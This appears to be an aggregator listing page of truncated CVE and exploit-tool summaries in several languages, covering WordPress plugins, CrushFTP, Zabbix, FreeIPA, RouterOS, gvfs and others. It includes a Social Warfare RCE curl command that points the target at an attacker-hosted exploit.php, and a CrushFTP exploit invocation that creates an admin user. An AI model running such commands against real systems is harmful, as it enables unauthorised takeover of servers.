CVE-2026-2631

CVE-2026-2631 Datalogics Ecommerce Delivery – Datalogics PoC / Script de Exploit: CVE-2026-2631.py Autor: Khaled Alenazi Nxploited – Nxploited ZeroDay Hub Contacto: Telegram: @Kxploit 🧬 Resumen de la Vulnerabilidad Plugin: Datalogics Ecommerce Delivery – Datalogics WordPress Versiones Afectadas:...

CVE-2019-9978

CVE-2019-9978 - Social Warfare Wordpress 插件 RCE 无需任何预认证即可在 Social Warfare Wordpress 插件上实现 RCE 概念验证 root@kitploit: curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php 漏洞代码 ： 修复：...

CVE-2022-35501

CVE-2022-35501 Amasty Blog Pro for Magento 2 中博客文章创建功能存在存储型跨站脚本（XSS）漏洞 描述 Amasty Blog Pro 2.10.3 和 2.10.4 插件（适用于 Magento 2）的文章创建功能允许在 title 字段中注入 JavaScript 代码，通过复制文章功能导致针对管理面板用户的 XSS 攻击，该功能使用了 data.title 字段并执行了 JavaScript 代码。 受影响端点（上述参数的注入点）： POST /admin/amastyblog/posts/save/key/somekey/ 受影响版本...

TheDoc

TheDoc は、シンプルながら非常に便利なSQLMAPオートメーターで、組み込みの管理者ファインダー、ハッシュクラッカー（hashcat使用）などを備えています！ 機能: 試行されたインジェクションの総数をカウントします。 指定されたドメインをクロールして脆弱性を探します。 データベース情報を抽出します（インジェクションURL経由） ユーザー、パスワード、メールを抽出します（インジェクションURL経由） /etc/passwdを抽出します（DB管理者の場合、インジェクションURL経由） ドメインの管理者ログインページを見つけます。...

CVE-2025-6934

CVE-2025-6934 自动利用工具 ⚡ 概述 CVE-2025-6934 是一个概念验证（PoC）漏洞利用程序，针对 WordPress 插件：Opal Estate Pro ≤ 1.7.5 。 该利用程序演示了无需身份验证即可创建管理员账户 。 免责声明： 此 PoC 仅供教育目的使用。未经许可，请勿 在系统上使用。 🛠 功能特性 自动检测插件版本。 获取注册所需的 nonce。 无需身份验证即可创建新的管理员账户。 带有状态、成功、失败和信息消息的彩色控制台输出。 适用于 Python 3.x，且依赖极少。 ⚙️ 安装 1. 克隆仓库： root@kitploit: git...

CVE-2024-42327

CVE-2024-42327 / ZBX-25623 的 PoC 在 Zabbix 前端中，拥有默认 User 角色或任何其他具有 API 访问权限角色的非管理员用户帐户都可以利用此漏洞。在 CUser 类的 addRelatedObjects 函数中存在一个 SQLi 漏洞，该函数由 CUser.get 函数调用，而 CUser.get 函数对每个具有 API 访问权限的用户都可用。 免责声明 此脚本仅用于教育目的！ 概念验证 以下来自 6.0.31 版本的代码存在 SQLi 漏洞： root@kitploit: $dbroles = DBselect 'SELECT...

CVE-2026-88959

Anchor CMS through 0.12.7 fails to enforce role-based access control in admin user-management endpoints, allowing any authenticated low-privilege user to create administrator accounts or modify existing ones. Attackers with editor or user roles can POST directly to admin/users/add or...

CVE-2026-79987

A remote, authenticated, non-admin Craft CMS Control Panel user with only the accessCp permission can execute operating system commands as the PHP web worker...

EUVD-2026-75572

Anchor CMS through 0.12.7 fails to enforce role-based access control in admin user-management endpoints, allowing any authenticated low-privilege user to create administrator accounts or modify existing ones. Attackers with editor or user roles can POST directly to admin/users/add or...

CVE-2026-88959 Anchor CMS through 0.12.7 Privilege Escalation via Missing Authorization on Admin User-Management Endpoints

Anchor CMS through 0.12.7 fails to enforce role-based access control in admin user-management endpoints, allowing any authenticated low-privilege user to create administrator accounts or modify existing ones. Attackers with editor or user roles can POST directly to admin/users/add or...

CVE-2026-76578

CVE-2026-76578 — FreeIPA 匿名管理员接管 产品： FreeIPA 4.9.x – 4.13.3 严重性： 严重 CVSS 9.8 修复版本： FreeIPA 4.13.4 / 389-ds-base 3.2.0-10.el102 RHSA-2026:64785 法律声明 本概念验证仅在隔离的、私人拥有的实验环境 中开发和执行，用于授权的 安全研究和漏洞验证。 使用此脚本之前： 仅针对您拥有或已获得明确授权测试的系统使用 在执行前验证目标环境和范围是否符合您的交战规则 作者对滥用不承担任何责任。此代码仅供防御性研究和授权渗透测试使用 。 关于可移植性的说明：...

cve-2026-86060

CVE-2026-86060 — MikroTik RouterOS SSH 认证前权限提升至完全管理控制 字段| 值 ---|--- CVE| CVE-2026-86060 产品| MikroTik RouterOS（SSH 服务） 受影响版本| RouterOS 6.x 及 7.0.0 – 7.23.3（含） 修复版本| RouterOS 7.23.4 及更高版本 漏洞类型| 认证前权限提升（认证绕过 / 访问控制失效） 攻击向量| 远程、未认证、通过 SSH 服务 前置条件| 无 — 无需凭据、无需用户交互、无需本地访问 影响| 路由器的完全管理（策略）控制 CVSSv3.1|...

OpenFire_Decrypt

OpenFireDecrypt OpenFire 管理后台账号密码解密 install openfire https://hub.docker.com/r/sameersbn/openfire docker pull sameersbn/openfire:3.10.3-19 root@kitploit: docker run --name openfire -d --restart=always \ --publish 9090:9090 --publish 5222:5222 --publish 7777:7777 \ --volume...

DEBIAN-CVE-2026-88924

A flaw was found in the admin backend of gvfs. The privileged gvfsd-admin daemon changes the ownership of newly created private D-Bus sockets by calling the link-following chown function on a pathname inside a user-controlled directory. A local attacker can exploit this via a Time-of-Check...

CVE-2026-88924

A flaw was found in the admin backend of gvfs. The privileged gvfsd-admin daemon changes the ownership of newly created private D-Bus sockets by calling the link-following chown function on a pathname inside a user-controlled directory. A local attacker can exploit this via a Time-of-Check...

CVE-2025-31161

CVE-2025-31161 - CrushFTP 认证绕过漏洞利用工具 PoC CVE-2025-31161 - CrushFTP 认证绕过 📌 CVE 详情 编号 ：CVE-2025-31161 类型 ：认证绕过 供应商 ：CrushFTP 影响 ：允许未认证的攻击者伪造有效的 CrushAuth 令牌并创建完全特权的管理员用户。 更多信息 ：NVD 条目（当可用时） ⚙️ 描述 此漏洞利用工具针对 CrushFTP 中的一个严重漏洞，允许远程未认证的攻击者 绕过身份验证 并 创建任意管理员用户 。 其工作原理是伪造一个看似有效的 CrushAuth 令牌，并滥用...

CVE-2025-31161

CVE-2025-31161 使用Go编写了针对影响crushFTP的CVE-2025-31161的漏洞利用程序。 使用方法 root@kitploit: ./exploit -target http://localhost:8085 -user crushadmin -action create-admin -new-admin-user username -new-admin-pass pass...

CVE-2026-88924

A flaw was found in the admin backend of gvfs. The privileged gvfsd-admin daemon changes the ownership of newly created private D-Bus sockets by calling the link-following chown function on a pathname inside a user-controlled directory. A local attacker can exploit this via a Time-of-Check...

EUVD-2026-75537

A flaw was found in the admin backend of gvfs. The privileged gvfsd-admin daemon changes the ownership of newly created private D-Bus sockets by calling the link-following chown function on a pathname inside a user-controlled directory. A local attacker can exploit this via a Time-of-Check...

CVE-2026-88924 Gvfs: gvfs-admin socket ownership race permits local root

A flaw was found in the admin backend of gvfs. The privileged gvfsd-admin daemon changes the ownership of newly created private D-Bus sockets by calling the link-following chown function on a pathname inside a user-controlled directory. A local attacker can exploit this via a Time-of-Check...